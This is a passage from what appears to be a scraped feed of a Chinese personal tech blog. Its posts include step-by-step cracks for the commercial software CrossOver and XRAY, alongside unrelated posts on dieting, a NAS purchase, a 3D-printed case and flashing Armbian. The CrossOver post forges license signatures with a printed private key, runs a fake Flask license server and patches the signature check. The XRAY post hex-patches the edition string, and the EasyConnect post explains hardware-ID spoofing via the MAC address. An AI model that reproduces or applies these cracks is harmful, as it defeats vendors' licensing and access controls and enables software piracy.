\u0026lt;id\u0026gt;mr3JYUuZc5UTpmcX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mX8LUvWbQmgnXd6N\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pLuxdpLUP5qL7RBM\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;QTwfPVERKWdRhhm8\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;quk5vxh8AKyMXBbq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;rmpm2XEAv3MyaYBB\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;RPUkvpLFuwkEkKW5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Sp2vkUzBf4T7JRzB\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;SvrfPWCuhvESLyZk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;TJhcdpkWqbBfuZyW\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Tnst5w3YmQChdzCW\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uvkpGkKs5VWddZG6\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;vaP3K7p4P5LxnebK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;VPUN8P4Ggk9B9STa\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;WcRHL8KR53penTEp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wpNYZUTANFZ57RRQ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wt9BTUASqpXBnYYe\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;X2VshVX4GKPQNQKv\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;x6BhNTZJdba5Httu\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZUUcZspEyXXFutmw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;zVX6MUsAKhgc8JBm\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hanwAGtyGPcRbJYH\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;znKhAArEK9EBY3NQ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XfmzCZ6UWmUtCRXm\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hyGVVaAKT3NVJRPm\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;EkQcJvnhxV97rwrp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;GBTwK9byvbtVqCcf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;PpFYsZEGvMsTGnPE\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;KHY3WdvWtpFqdQfU\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;urWavMaKXZKM6mAf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;b5qQn7SNKJx3sCLf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;saNcUKNyPcSsHPT9\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;UbJ3SPfPBq9qC5dT\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;vF3e9hx6PyXCRuc8\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tNGPHCfJKpsfqnkf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;LuLsBfLWpLZJmdLx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;AAhRnevMUeatQmnN\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FkhvcZLZXEXqN9Fs\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fszEzLfpNkeTFa4g\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hemUkJVubcFSb9PU\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Bw3AgsJCP2k8ZUtn\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;VtYXwbvV6F4ZdqrX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;4vYsMXdEkmHRcwC8\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;CY54SHm2AhBBKUEG\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;n86YEZMp5LVMnFfm\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2Gds3FJn2cMWn8BE\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;rHM8NHvGX3wBrJSG\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;aEHaV344pLbrxSeq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;StQw4RKxPEmmRVhP\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;49qwrQePW4emwnTg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;yxMPcBYuHt9WrvHH\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;QPdYWZXQsPkJGVJ5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;VFTm2cWdAUyXkdqf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;cRP9yn4begZPxtuU\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;aCkaTwveu4Yzg4rL\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;aczhByddTL3AJRtR\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6PpFr7ExyqgHsCku\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZnvEtYHvv7ghaBsT\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;UHLNrVaz7pACfRHV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FpYMWfWYN64rhfy7\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;h3vdnHRn4wUqsefS\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;CvX2pBEeceSJYeCV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;g8tBzYuBATrvzW6x\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2XHS4PZkbhJmuvFK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;NJLhaArpVJHneCP7\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;MwC4CZTrbSpbysJn\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;7sRktgxa5zEMGgBp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZRSqRqGxbAULUty7\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XBPq3CmvawgqrdN6\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2ENXCsNHrbnSSKxx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;SZsdfJHyHsEkWhQ7\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;WTKmYwedtZaY848s\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;EnzFBZB4g7G92VFX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mhhJQsaZhwA7euUz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;TBaaYZNkWHvgV7Y6\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;BvWctTvkAtruMwyw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;nhQn2g3kQfBAQW9F\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pwaQKkb26w5LJpGe\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;akr37E5dygzQknJY\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FYeKhvadntMqqHWL\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Ctx7Yr3sUrcReHqp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;HfrZbTw34FYMFhT5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;YT89PKNvHuqknATv\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;4JUamVd76PGzqtHC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xfnhrBpnT5SFXgJW\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6XfNa6Qbet5y2pbM\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;8XEffQRq7LgW6whz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Znd2upgqhdvaVV3b\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;NGvJT2BtRfpebxfq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;umuBZrX8kYVLxGUb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZrdPYqpryKQtz9r4\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2HB8JNKx5s49uYA2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pV6E9CLAgksXtsk3\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;4sfun5ZMexFsPvHh\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZCzHAzGuQ6eW36gp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;k37erF4nwvkGYyfJ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xbeUES7kMZmd948r\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;HdHAQxMabHQ56Bug\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;QaVFbb2whQaxcdPk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;drWugrkSEghJYpwT\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;PeWXNKqcmZEsfUWA\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pLcvs5qh9EvkTMBV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2KQQhXkuFnwfPydf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6dVmu9YRpwPJJhQc\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;BMYPMfWP2KnA9VPh\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;LdcPkqGbHxbZF4Fm\u0026lt;/id\u0026gt; \u0026lt;/disabledlicenses\u0026gt; 随机生成一个licenseid就好了\n生成公私钥\nopenssl genrsa -out private.key 2048 openssl rsa -in private.key -pubout -out public.key 替换/opt/cxoffice/share/crossover/data目录下tie.pub公钥文件\n比如我生成的公钥\n-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuQ6qVfGwFQpkeyNs1FTT 1iiIM9DHUzl16/MfUpBk9LG3pEVp7aJCFJ910oP3m0w7rYLC73YJJC6U8G3aJu6o phOyTt6FmIlGOj6FOf0YzReeV8HUAhdlCqhw5IynEt9KeAnwVzRgVBKbjkHfBhDt w+X7ACoOCg91VUzOSUjJmHFfrroPKXNTAvEFfJ8KN+Y+TTw0rac3uwLgGOYNlwvG YVasVJeODCnHdKWw3FmNrX9IjDHO/1vkza14A1elylCYQL1iEc9QrWR4ZUFan61P 8DTFSA/kmkYn2p7NeiWaHbe9cpFwqreufNFbTBu74P+o+HY5GzfC+K/bejgVHYY6 pwIDAQAB -----END PUBLIC KEY----- 生成签名\nopenssl dgst -sha256 -sign private.key -out license.txt.sha256 license.txt 移动文件到/opt/cxoffice/etc/下。\n破解 这个是输入序列号验证的url，看到在demoutils.py文件中\n这里直接修改reg_license_url函数中的url(功能上对应输入账号密码在线下载许可证)\n修改后的代码\n在线生成2048位的RSA公私钥。公钥替换到/opt/cxoffice/share/crossover/data下的tie.pub文件\n公钥\n-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1MVG+DcHMmm7MdBHpSXD GzCr1R7rhEUdDrwv8yRSzpzdG4SM19CJ23RWE0TkElYiW6rHnvSBoRtx3l6iY+sE ScFh7/rAx1882fCQ0kaBnfx2fmLE80TZocmFPJMQ/trJ6kT7sZxhScCK/1qjzX53 dAr+B/ByRm31pq9d1VQeph8n1+aNLADImPMct81T2PLjt7U+oWtzFyozWPAIYriS LIUxz7utaOAtZjJ18vb7Tdzd9Gkkjvjh+cNN6uHosfqUXTbaFm1/xE43K85vGnQt poghK3dK66OeZondLLk33KrIerkjGW9UlJUe2KKMTS0MDb8bhvH5DKg51BykwTCA gQIDAQAB -----END PUBLIC KEY----- 私钥\n-----BEGIN PRIVATE KEY----- MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDUxUb4Nwcyabsx 0EelJcMbMKvVHuuERR0OvC/zJFLOnN0bhIzX0InbdFYTROQSViJbqsee9IGhG3He XqJj6wRJwWHv+sDHXzzZ8JDSRoGd/HZ+YsTzRNmhyYU8kxD+2snqRPuxnGFJwIr/ WqPNfnd0Cv4H8HJGbfWmr13VVB6mHyfX5o0sAMiY8xy3zVPY8uO3tT6ha3MXKjNY 8AhiuJIshTHPu61o4C1mMnXy9vtN3N30aSSO+OH5w03q4eix+pRdNtoWbX/ETjcr zm8adC2miCErd0rro55mid0suTfcqsh6uSMZb1SUlR7YooxNLQwNvxuG8fkMqDnU HKTBMICBAgMBAAECggEBALsmDueTF2x7XaFSL0KO9Y87/1iFSulcFVP5qT93arK7 fSyQKYZGsotqR6/JP8b1JmF01QL20/KOflj26mVyuaHaTDfWWqzDE3YrSGb8h1Qc VWmTnOLRY5AP/naqcR+J+GJsbOrrvxMtHdW/tyawH4fdh1YaY5mZbKJBzAoxZIf+ chFXnOtq7xCDQMX3gpJsSQDkeeFeAB4WinApLtK00fI+kwNw4lsW4nSDAJad+Gh5 j+y8O17YfnNYWpTrHr4ANYNVwa+8UO8nBI9Op2oe1HCSgrWAhMoEV/h8oSl3SwQi UKHdTtXX4yP+RrJoMJS4F0i5Ic5tZNys3AgVg4mLsbUCgYEA+QTmTj9D9oEd7s73 HLydSJe1J8xwxTX+ZEQqdoEvjkpDLlzkvAWlcJQ72gsD0x1QRDIKre9+m7gqssUB it4cptQyg1DULsV6LhrgiM6L88NK3FXJ4tJlWcigeHc/ZBN4HfqcnSpB0HcG143m ij8Y7Hx3yRQmlJ+GJChpHI20Tf8CgYEA2rw86az4Y8gf7JKq0xY/F78xn/Tlo+Hu mwHxlr+xL3HvNdlh1votV1eV9aoO1B65KNrjDXpkQ36iPSUGbDhjeqGnfu8Rlp1Q RL4U+z28IjYGFYZg2O2WfhRRmRXX0F5xvN84N+tEO1LvN6uEXx20Eup90uRqfAef YRHgd64wMX8CgYEAgVZJJET50LOZT2rRsGxKqOSa47PsspFrsrow7+IDSD1MDW2U JBAusH1dZM+pyeIEyZbQMy0cLlcGXlmyhmT8rq2yGsBFpJFO91lgW84jpJU/cZdh R10N5QcuScNt+lWeYrvC0mKbUmIv/I8oOY+yK0oukRLVQwZkDq2qgnkbOBMCgYEA 2MaxP4zS5mDRcq2wal6jzK8JSVN1usMQq8JzYUk9Gp45yg5ULq/l+6er0Lnm1EZW jqzPVO41K8b2ls543QvNWx2WV/AqaDAj+ty/AneeWfFcejyhApwEB5Ovgp3pMnJH Gj3HA3RAPOLmfS+YkoNnkU+fvz/sYFtVkugao8GXtZUCgYA/NVRkL7WkhPLxSxxu G3DW4ISIj20F3DuRqq1wu4tsqOM9Ztgn8hDLTPgbMKJ8wuFQDa9z/dDNH2HXwdbZ MTpVnl9pgVXvVkSVWc5/236gu29JC8Zo86KlYUGneF+aVQtom2KPePlB+zPQw8B+ 8S4NBd92Z5t4MmGePD985zeSHw== -----END PRIVATE KEY----- 官方原版的license形式如下\n所以要伪造license信息\n在demoutils文件的demo_status函数下有对license进行判断\n验证部分在fileupdate.py中的is_signed函数，这就是为啥要替换公钥的原因了\n下面就是构造license信息并给他进行签名了\n[crosslin] customer = QJ2R8D9VUZ expires = 2029-06-22 [license] id = 1X6K5A2T9E 验证license实际上是执行下面两条命令\nopenssl dgst -sha1 -verify tie.pub -signature license.sig license.txt openssl dgst -sha256 -verify tie.pub -signature license.sha256 license.txt 给他反转下，使用私钥生成签名文件\nopenssl dgst -sha1 -sign private.key -out license.sig license.txt openssl dgst -sha256 -sign private.key -out license.sha256 license.txt 需要注意的是，我们需要的是hex格式的数据\nopenssl dgst -sha1 -sign private.key license.txt | xxd -p openssl dgst -sha256 -sign private.key license.txt | xxd -p 按照官网的格式给它加上前缀后缀\n[crosslin] customer = QJ2R8D9VUZ expires = 2029-06-22 [license] id = 1X6K5A2T9E \u0026lt;!-- SHA2-256 Signature 1517c8f914537c5bcd758ffc0d712e752f385930f6a26e2292611a1d4c94 2b79c19cde30811d3e3b6680e3be2f4255566177b6382b56ec11720bd86f aca22e61bf49c93c979f4001d86c81fb9fe5e870c4d6f1ee1dd71d43a122 b3f87f0cd6a6f0eb961e2852b0d7847cf9ecad662688050fa6399946a3f2 448b72a1ddd77cb2620a86c2cbc6eeccfed571d826e5033f231771b9e8a5 f56f7f94911b3bbda4b0e5b6aa45bf5d19bc5818e2d7be1ee54c9c71d76d 6c02cc951d39a28120347567007f1dab7d952fbb2ab5bdcd6f9ce8a157fc 36db67c59a578f490e8c2bb03a7807d225029e17f8d10f9bbf819271c5f7 0038b6a83aa94bf56f8c6ced8be7ef48 --\u0026gt; \u0026lt;!-- Signature 6597a7682f8eccd128184be1ddc1ee02a5a9b35dd692f6a81ed1b950e864 eda2ec757d8c0b6213399d6a795fca70482048b61b7477d9b3ab64bf6dc6 407c65e710e615b3991b19f3af9ec4aa5c3d2027d3a54752676a0a8e7b3e bad22bed258ec7638502b126a79348ffba8318a26efc50d2ac2947f01215 05f8bc535d7b6a1070569a68efd9e53023b7119dd81fdfc486ae60367538 7d160e60d55745b059b70ceaa072485fd38a0d24fe6c9edd38dc3ae63ab6 b48578214ee0542602c79a87e6537dd8dab35be8dc453c8a2c73a2e3f2c9 a041bc5da76b16d111af67616db8d7fe611e4b55ba0499ae4ff3db980e0a b5192ecff2ed8069576da901ddf3f0de --\u0026gt; 本地部署破解程序\nfrom flask import Flask, request app = Flask(__name__) @app.route(\u0026#39;/bin/register/\u0026lt;param\u0026gt;\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def handle_serial_request(param): # 处理带参数的/bin/serial路径的请求 return \u0026#39;\u0026#39;\u0026#39;[crosslin] customer = QJ2R8D9VUZ expires = 2029-06-22 [license] id = 1X6K5A2T9E \u0026lt;!-- SHA2-256 Signature 1517c8f914537c5bcd758ffc0d712e752f385930f6a26e2292611a1d4c94 2b79c19cde30811d3e3b6680e3be2f4255566177b6382b56ec11720bd86f aca22e61bf49c93c979f4001d86c81fb9fe5e870c4d6f1ee1dd71d43a122 b3f87f0cd6a6f0eb961e2852b0d7847cf9ecad662688050fa6399946a3f2 448b72a1ddd77cb2620a86c2cbc6eeccfed571d826e5033f231771b9e8a5 f56f7f94911b3bbda4b0e5b6aa45bf5d19bc5818e2d7be1ee54c9c71d76d 6c02cc951d39a28120347567007f1dab7d952fbb2ab5bdcd6f9ce8a157fc 36db67c59a578f490e8c2bb03a7807d225029e17f8d10f9bbf819271c5f7 0038b6a83aa94bf56f8c6ced8be7ef48 --\u0026gt; \u0026lt;!-- Signature 6597a7682f8eccd128184be1ddc1ee02a5a9b35dd692f6a81ed1b950e864 eda2ec757d8c0b6213399d6a795fca70482048b61b7477d9b3ab64bf6dc6 407c65e710e615b3991b19f3af9ec4aa5c3d2027d3a54752676a0a8e7b3e bad22bed258ec7638502b126a79348ffba8318a26efc50d2ac2947f01215 05f8bc535d7b6a1070569a68efd9e53023b7119dd81fdfc486ae60367538 7d160e60d55745b059b70ceaa072485fd38a0d24fe6c9edd38dc3ae63ab6 b48578214ee0542602c79a87e6537dd8dab35be8dc453c8a2c73a2e3f2c9 a041bc5da76b16d111af67616db8d7fe611e4b55ba0499ae4ff3db980e0a b5192ecff2ed8069576da901ddf3f0de --\u0026gt; \u0026#39;\u0026#39;\u0026#39; if __name__ == \u0026#39;__main__\u0026#39;: app.run(port=8097) 输入任意账号密码\n遇到激活失败\n根据提示信息找对应的函数看看\n可以看到判断到了是demo版本，而且没有用户名(原因是修改完没退出软件)\n直接运行注册提示这个\n直接修改is_signed函数的返回值（快放假了，回头再细看 签名那边搞错了）\n总算成功了\n目录下也有了license文件\n也没有了注册的选项\n","permalink":"https://synology.pub/post/%E5%88%86%E6%9E%90crossover%E7%A0%B4%E8%A7%A3/","tags":["crossover","破解"],"title":"分析crossover破解"},{"categories":["生活"],"content":"源起 今年的11月份有个重要活动，挺看重的，毕竟一生没有几次入场券。不想因为自己臃肿的身体拖累了第四个人生七年。\nStart 第一天 从6月2号开始，早上一个苹果，一个鸡蛋。\n中午走路1小时（发现走路获得的卡路里最少，耗时还挺长）。晚上粗粮饭（大概100克）。\n第一个周末 周六逛了玄武湖，从南京站南广场开始，到玄武门结束，大概花了50多分钟。\n并腿式起跳 第三天的高强度燃脂训练，多组的2-3分钟并腿式起跳，跳到了一半进行不下去了。\n最高心率到了196，有强烈的呕吐感。太剧烈了，感觉缺氧了。只能暂停，进行卷腹运动。\n6月11日 还是从南京站南广场开始，围着玄武湖走。边走边欣赏。\n接天莲叶无穷碧，映日荷花别样红 湖中小岛与南京站隔水相望\n绕着湖中小岛走了个来回，因为快递打电话说心心念的NAS到了，从玄武门坐地铁回去。全程11.62公里\n6月12日 现在每天7点10分起床，早上的食谱如下：\n午饭就鸡胸肉一块，配上碳水蛋炒饭50~80克（临时），再来杯瑞幸的 橙C美式晚饭就蓝莓一小盒加上随便吃点少量的饭。\n运动记录 6.2 ~ 6.5\n6.7\n6.8 ~ 6.9\n6.11 ~ 6.12\n6.12 ~ 6.13\n爬楼趋势 从每天中午的3组，慢慢增加到4组、5组。\n运动计划 每天早上没多少时间，如果可以围绕附近走一圈？\n中午5组 12层爬楼（后面看看是否增加），地下车库（防晒）走路30分钟~1小时\n晚上，热身动作+五维腹肌+高强度燃脂（一半，全程暂时不能完成）。\n6月12~18日 PAI也维持在200左右（往上可太难了）\n6月19~20日 坚持！\n6月21~26日 在端午节前一天增加了爬楼组数，目前为7组*12楼\n端午节放假就没怎么运动了（也没咋吃饭，碳水更没有。就狂炫水） 晚上的运动：三星运动健康可以不费力的做完2个，高强度半个。\n平板支撑之前只能到1分钟，现在到1分钟感觉还行，估计能得个1分半左右吧。\n25日数据：\n26日，回家吃瓜，暂停一天。\n","permalink":"https://synology.pub/post/%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92-%E8%AE%B0%E5%BD%95/","tags":["减肥","记录"],"title":"减肥计划-记录"},{"categories":["生活"],"content":"经过软磨硬泡了半年多，终于在618时，趁着有点优惠券，入手了心心念的威联通NAS。你问我为啥不入群晖？答案就是穷，买不起！\n入手的是威联通20年推出的家庭级顶配NAS ts-h973ax\n详细参数可以看官网： https://www.qnap.com/zh-tw/product/ts-h973ax 看上他主要原因\n1是有2.5G网口和万兆网口。 2是家庭版的顶配了，性能够。 3是相对小巧点。\n4是未来10年这个配置是够用了。\n接到快递电话说到了，赶紧从玄武湖返回，到菜鸟驿站取回了包裹。\n外包装 拆箱 拆箱，上面是电源和说明书、一堆螺丝和一根6类的网线 下面就是NAS的主体了，可见被泡沫做了防跌撞措施 电源 翌胜的120W电源，生产日期是21年2月份 外观 上面 正面 高度和一瓶润肤乳差不多（没可乐罐 :) ） 电源插口 这里有个坑，电源插头使用的是DC 5pin插口，默认向上的箭头不是对着上面插入的（问我为啥强调？大力出奇迹，强插后电源灯都不亮 短路了。希望主板没有损坏）。正确的插入方式是箭头对应这机箱左侧，很容易就插入。\n买完后没钱了，等以后慢慢攒钱入硬盘吧。\n操作手册： ts-h973ax-ug-01-en-us.pdf 第一块硬盘 6月15日，趁着88vip会员有券，入手了西部的10T数据中心硬盘HC330\n暂时使用basic模式安装，可用空间大概8.5T\n期待以后的第二块、第三块硬盘。慢慢攒。\n","permalink":"https://synology.pub/post/%E4%BA%BA%E7%94%9F%E7%AC%AC%E4%B8%80%E5%8F%B0nas/","tags":["NAS","记录"],"title":"人生第一台NAS"},{"categories":["DIY"],"content":"前端时间没事干，研究之前入手的ROCK PI 4b plus。本来想使用树莓派3b 上的ov5647 camera来作为直播，没成想rock pi 支持太垃圾了，内核中居然没这个驱动。\n默认买的是只带了一个散热器，没买外壳（就那个外壳居然要100多，何德何能！）。 进行Google搜索，中文社区没有讨论相关外壳的。切换为英文，在一处国外分享3D图纸的社区中找到了相关的信息。\n相关地址 备份地址和展示图： https://github.com/wrysunny/rockpi_4_shell 直接上传图纸到嘉立创，网页刷新有问题，没能白嫖到10元的免运费券 :)\n这里使用的是树脂材料进行打印，大概花费30多（运费10）\n如果使用CNC金属材料阳极氧化，就需要400多了，够重新买一个了不划算。\n效果图 网口贴合：\n电源口有点大，hdmi、音频口还算契合：\nSD插卡处、底侧通风口：\n其实上面可以加个外接风扇的，用来降温。不过我有小风扇全天24小时直吹，就没加上。\n","permalink":"https://synology.pub/post/%E8%AE%B0%E5%BD%953d%E6%89%93%E5%8D%B0%E5%A4%96%E5%A3%B3/","tags":["3D打印","rock pi 4","外壳"],"title":"记录3D打印 rock pi 4系列外壳"},{"categories":["linux"],"content":"准备 N1盒子 电脑 双公头USB线 4G以上U盘（2.0） 降级过程 确保电脑上安装了adb连接工具(platform-tools_windows.zip)\n下载N1的降级镜像文件\nN1_V2.19_降级文件.zip 解压后执行下面命令进行降级操作\n#连接 adb connect ip:5555 #重启到fastboot adb shell reboot fastboot #使用USB公头线，连接靠近HDMI的USB口 #刷写bootloader fastboot flash bootloader bootloader.img #刷写boot fastboot flash boot boot.img #刷写recovery fastboot flash recovery recovery.img #重启到正常模式 fastboot reboot 其中，进入fastboot后会出现硬件驱动不识别问题\n只需要安装google adb驱动即可\nadb-usb_driver_r13-windows.zip 使用上面的驱动可以识别为adb接口设备\n刷写镜像到U盘 下载github上构建的镜像即可,下载s905d的镜像（不要下s905d-ki-pro !!!）\nhttps://github.com/ophub/amlogic-s9xxx-armbian 实测 截至20230420 内核6.1 的版本会有问题，进入花屏、无限重启。（u-boot问题），暂时只能使用 5.x的内核。\n刷写镜像可以用win32 write 或者其他工具\n重要提示：最好使用USB 2.0的盘，3.0的盘我测试时会进不去系统！\n进入Armbian系统 将盒子正常开机，电脑用adb连接盒子，在电脑中输入命令：\nadb shell reboot update 等待盒子屏幕变黑后，插入U盘（靠近HDMI口的那个USB口）。\nadb shell reboot update执行过一次后，后面可以直接插U盘，开机自动进入U盘的系统。\n这时盒子会自动进入U盘的系统，就可以把系统安装到盒子中了。\n","permalink":"https://synology.pub/post/n1%E7%9B%92%E5%AD%90%E5%88%B7armbian%E5%85%A8%E8%BF%87%E7%A8%8B/","tags":["斐讯N1","Armbian","Linux"],"title":"N1盒子刷Armbian全过程"},{"categories":["破解"],"content":"前言 xray 社区是长亭科技推出的免费白帽子工具平台，目前社区有xray 、xpoc 、xapp 、rad 工具，均有多名经验丰富的安全开发人员和数万名社区贡献者共同打造而成\n文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 至github上下载最新版\n使用 010 editor 编辑器搜索hex数据 434F4D4D554E495459 434F4D4D554E495459 为 COMMUNITY 的十六进制。\nxray中只有一处这个数据，只要把这组数据用414456414E434544 （ADVANCED）替换即可\n可以正常使用\n","permalink":"https://synology.pub/post/xray%E7%A0%B4%E8%A7%A3/","tags":["XRAY","破解"],"title":"XRAY破解"},{"categories":["linux"],"content":"Linux linux下使用网卡的mac地址进行md5计算，如有多个网卡，则循环对比硬件码是否符合。如果符合，则认为这台机器是经过认证的。\n如下图的log记录：\nAndroid 全局搜索 \u0026ldquo;hid\u0026rdquo; ，可以在com.sangfor.vpn.client.service.auth.o()和com.sangfor.vpn.client.service.auth.p()方法中搜索到：\n跟进m()方法，可以看到此方法为生成hid的代码实现\npublic String m() { String deviceId = this.i.checkPermission(\u0026#34;android.permission.READ_PHONE_STATE\u0026#34;, Process.myPid(), Process.myUid()) == 0 ? ((TelephonyManager) this.i.getApplicationContext().getSystemService(\u0026#34;phone\u0026#34;)).getDeviceId() : null; if (deviceId == null) { deviceId = Build.VERSION.SDK_INT \u0026gt;= 29 ? u.g().d() : ((WifiManager) this.i.getApplicationContext().getSystemService(\u0026#34;wifi\u0026#34;)).getConnectionInfo().getMacAddress(); } if (deviceId == null) { Log.a(h, \u0026#34;Can\u0026#39;t get device\u0026#39;s hardware Information.\u0026#34;); return null; } try { byte[] digest = MessageDigest.getInstance(\u0026#34;MD5\u0026#34;).digest(deviceId.getBytes()); StringBuilder sb = new StringBuilder(32); int length = digest.length; for (int i = 0; i \u0026lt; length; i++) { sb.append(String.format(\u0026#34;%02X\u0026#34;, Byte.valueOf(digest[i]))); } return sb.toString(); } catch (NoSuchAlgorithmException e) { Log.a(h, \u0026#34;Can\u0026#39;t generate device\u0026#39;s hardware ID.\u0026#34;, e); return null; } } 获取手机信息权限，调用getDeviceId()方法获取hid。如果不给权限获取不到，就获取wifi接口的mac地址，地址经过md5哈希计算得到hid信息。\nWindows windows下很奇怪，获取的mac地址经过本地、在线计算怎么都不对\nwindows下获取hid信息的方法在SangforCore.dll中，根据日志和IDA Pro进行查找\n其中sub_10023EF0函数实现了计算hid的算法，可惜看不懂\n经过测试，在虚拟机中只要把mac地址设置为已授权机器的mac地址，生成的md5值 是相同的，这不太像是加了其他硬件的id salt\n后续更新：\nhttps://github.com/docker-easyconnect/docker-easyconnect/issues/246 根据深信服论坛信息https://bbs.sangfor.com.cn/forum.php?mod=viewthread\u0026amp;tid=7696 ，easyconnect取硬件特征码是有顺序的。\n在老版本上是按照硬盘ID -\u0026gt; C盘ID -\u0026gt;D盘ID-\u0026gt;E盘ID…\n在新版本上是按照硬盘ID -\u0026gt;网卡mac -\u0026gt;C盘ID 